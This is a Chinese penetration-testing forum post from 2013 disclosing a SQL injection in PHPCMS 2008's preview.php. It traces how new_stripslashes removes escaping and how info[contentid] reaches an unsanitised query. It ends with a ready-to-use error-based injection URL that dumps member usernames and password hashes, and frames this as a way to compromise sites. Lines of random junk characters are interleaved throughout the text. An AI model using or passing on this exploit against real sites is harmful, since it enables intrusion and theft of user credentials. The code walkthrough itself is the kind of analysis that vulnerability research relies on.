中国网络渗透测试联盟
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
[打印本页]
作者:
admin
时间:
2013-4-19 19:17
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
/ f" h# g: f" B- C
! I% g7 i' F3 d% E
要转摘的兄弟们,你们还是带个版权吧!
3 \% W$ S+ U3 T" \1 ]& j
& v" ?1 {3 f; T0 q% c/ G
组织 :
http://www.safekeyer.com/
(欢迎访问)
( g* ?+ w G$ N2 A
# H4 P7 x: o0 n6 x V5 {2 q0 j7 X
author: 西毒 blog:
http://hi.baidu.com/sethc5
* y, [! e. u+ }8 T$ S4 Q c3 x
9 Z& T4 M3 X2 n
m3 M0 b* @- w* r! U/ N* v7 Q& {
( e& y3 o' i% d" A' Z$ P
其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.
1 `1 [, \; `9 {7 _" A% i% R
9 a" n; { l4 N
过程不明显的我就省略了。
3 O3 D$ V5 }4 u, y/ M
6 Q" o0 y% _8 g p9 h8 k5 S% h2 G/ o
在preview.php 中第7行
7 l4 q: A Z$ Y' |3 A6 r3 w/ v
# f0 n9 W& K( g
$r = new_stripslashes($info);
( F( ?' p. X" D+ u/ v- h
/ c) @, m( o% ?# K$ q
我们跟踪new_stripslashes这个函数
& M2 f, Y p& s3 v, g! M/ B/ _6 t
) F3 R1 U, h- N4 O2 f8 R
在global.func.php中可以找到
0 \4 t1 b3 g$ Z& e6 _ Z
2 W { P6 w3 R0 i2 \- b
1
0 U! ]2 g$ V( q' X
2
! e9 i- @2 Q$ ?
3
9 W0 p3 C" Y( ^6 b
4
! q3 \/ j+ \2 ]5 K
5
2 \% I& n. W. J6 `/ l2 a' A# s
6 function new_stripslashes($string)
2 O6 z# U8 E- H1 U4 Q
{
: L9 X# `9 x3 I9 H+ g( U
if(!is_array($string)) return stripslashes($string);
( g$ D& t" h+ W T4 q+ ^
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
; ?3 u) G6 F! q9 `1 m$ C
return $string;
) |: u( M2 D8 `- x# `
}
, s& f' n/ V8 j" C8 t" w
9 p; y+ m$ E; |) [
这个函数的功能不用解释了吧
, R0 v2 C6 U2 f' z8 B( ], t
H3 E. F% l4 g/ ?+ I" e! x" t
所以我们看具体应用点再哪?
) O# W% k0 p0 N& N- j
2 u$ r$ m+ Q$ X
1
% s1 b3 O5 z' A- C
2
3 I5 r$ W/ r2 l- ~
3
( M7 ?+ \4 S1 a! b; b7 ~
4
! K7 g {, x. g1 q2 n
5
5 Y, M, [9 |+ b& X: f' _; S
6
5 y6 V0 P7 S' Q! ]
7
0 R2 O( v. v0 X: q" P$ w+ E
8
/ D1 k' l1 K" x2 _0 d9 ~! d
9
* Y# b* X5 t# o$ q4 Z& H& w- B
10
7 R/ b6 _0 ]9 z) `
11
1 @" m$ a& f h1 W0 P; r
12
& e' i/ o2 @- G3 @$ `6 B, ^' Z
13
2 n$ P) Y, V) z8 q
14
: c# _7 t6 X) y& D2 w
15
( x2 D4 M- C9 `) ]9 }3 m
16
/ @6 M/ W3 S( M! d7 _' D, q, a
17
, w: [9 w o3 l, l3 X5 e2 r( R
18
' {' s4 n9 s9 i @3 V8 I% T4 O
19
6 [( K4 i: _0 e% G9 \( q4 I* q2 ]; z
20
. b% d5 J: [* z+ L4 q3 N5 L
21
2 D3 r. J- c! L g
22
' i, v& b( \' {1 Y8 d
23
6 {; U2 q5 l& f+ h; \* p! Z
24
# \' `7 P# c! a$ C
25
( ~, P7 v, w5 [% J" S; k
26
( H9 q% ~& j/ A) D. o6 @
27
7 G- _' B5 t; z4 y
28
$ Q% W' {3 h5 X8 y: G9 x/ ?
29
9 r3 T! O( |7 j& E& i
30
- C* X. r* }" ^5 V/ y* b
31
E, |9 e1 e! d4 d5 j3 D- e" p) W: ~
32
4 b: X7 F/ ]$ h! k0 U0 _* _) l
33
' _ m: l* u8 W; I2 {: L" `
34
# p b1 B4 H0 I& W+ \ C( s& p! M7 B
35 require dirname(__FILE__).'/include/common.inc.php';
& m" d5 ]$ `7 `$ v7 T8 }" K9 d
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
9 b r9 h7 K* r
require_once CACHE_MODEL_PATH.'content_output.class.php';
( v9 L0 g4 H, I+ {" n; J7 c+ ]! K. A
require_once 'output.class.php';
, Z4 h$ r0 g$ S, Y5 o! J. z
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
9 y" X& u5 O$ j& r
$r = new_stripslashes($info); //反转义了.....关键
- _: _6 w: ?% \2 V
$C = cache_read('category_'.$r['catid'].'.php');
3 m$ G+ u" _ f8 S9 ^
$out = new content_output();
9 D8 ?: L8 l5 S$ `2 E' Y5 y
$r['userid'] = $_userid;
h7 k1 |' f N7 Q
$r['inputtime'] = TIME;
4 F3 g) M/ F0 z) @4 R- R8 c
$data = $out->get($r);
+ x+ h3 a: ^) L7 P B, G( B, X
extract($data);
$ Y+ k' \ i- ]: ?+ R
$userid = $_username;
) [ ?7 G; [" x2 B8 n( a5 M( V
for($i=1;$i<10;$i++)
+ A( }* [& b3 |( i
{
) ]5 o5 O! ^4 _# b
$str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
$ w& _9 Z8 v) `7 y3 Z: {8 i
}
9 y8 { j w5 m9 }5 i" h# j/ K6 T
- x. |- x" b3 y, Z
$array_images = $str_attachmentArray;
6 w. v \# R, |+ }5 O; x
$images_number = 10;
4 N' ^, D0 T# w! N. ~
$allow_priv = $allow_readpoint = 1;
4 ]4 y8 W" X4 Y
$updatetime = date('Y-m-d H:i:s',TIME);
3 v% E2 o& X' E
: o7 ?. v- t8 a% @! \7 M" v+ e
$page = max(intval($page), 1);
. D; e5 |$ T5 }4 V
$pages = $titles = '';
C" a. `2 C% p% V0 |
if(strpos($content, '') !== false) //这里必须还有这个这个字符.....才能操作哈
2 k( z7 r' c! n* Z" l, Z$ @ C; k! m
{
: N) g; O$ ?! r8 {( @- i& a n
require_once 'url.class.php';
9 A2 o/ N2 {) k- y' R5 a
$curl = new url();
, [# O# u# E% t. W
$contents = array_filter(explode('', $content));
8 I" n/ M6 Q5 O0 ?3 b! B. K
$pagenumber = count($contents);
* c- E6 p% V. r9 O5 a3 r# Z; X [
for($i=1; $i<=$pagenumber; $i++)
# X! m0 N3 `! O
{
% |* ] T# l1 H4 D5 [. l0 J. h
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
F1 R9 h y# [2 o; p- R. P
}
- L$ P# [- c, \9 z T* _% P
其中细节我就不说了...
4 J$ D: q1 \' @) l. Y) `4 m
* v4 }" U0 n( q: F6 I5 k
我们看看这个$curl资源句柄中的show方法
0 L& t; W9 ?! B% f
4 W% K9 m: Q. v. n
1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
1 Y, C3 t @1 c9 J2 i
7 O* Y9 I" A% ]/ f
1
" v' [- N# J. f1 G" N
2
( I# u* o( E6 H8 O, |4 O6 _" t( O
3
9 D$ f2 L' O/ q* W: }1 q- C
4
% I0 |, d6 q# l) ^8 ~) i! ^
5
) X4 W* B, p% ]
6
5 L: ?& F5 {6 v* u1 ^% p
7
5 F, V1 f" C! e$ i j0 ~9 D
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
- a# F* y" W. Y) N& N- i# N6 j: W
{
' i! R9 r: N4 G( e
global $PHPCMS;
) o, j7 X7 q( \8 d; ^
if($catid == 0 || $time == 0 || $prefix == '')
+ @7 a+ U( y- e1 O$ F2 J
{
+ c1 P& K e) K" g( O
$r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
) x0 G a9 ~# w& m- ~& n8 b) P! {
if($r['isupgrade'] && !empty($r['url']))
/ y u% n6 A4 w+ ~) [
{
$ U3 _8 V, j% e( k
8 n6 |' Y9 o `$ j! d
所以结合前面的......我们x站了吧
/ ^8 v2 B) s" F) m$ b3 J' S" y. z( c3 f
\% s7 o5 [; R5 F
给出exp
3 |- \. O; T: |% S8 b; q# @
+ t2 ~ f4 c( _+ G- N9 n; O# p
www.xxxxx.com/preview.php?info
[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a
2 Y+ c2 h3 ^8 Z( k
/ {1 B; J9 m! h$ ^
截图看一下
( b4 l' R. X/ v9 m# _
: \4 ]! B$ F% w6 r/ c; @" V9 Y
最后真心说句,360收购漏洞计划,价格真心低.....
) B0 V: o7 I0 J( L% w. u
http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2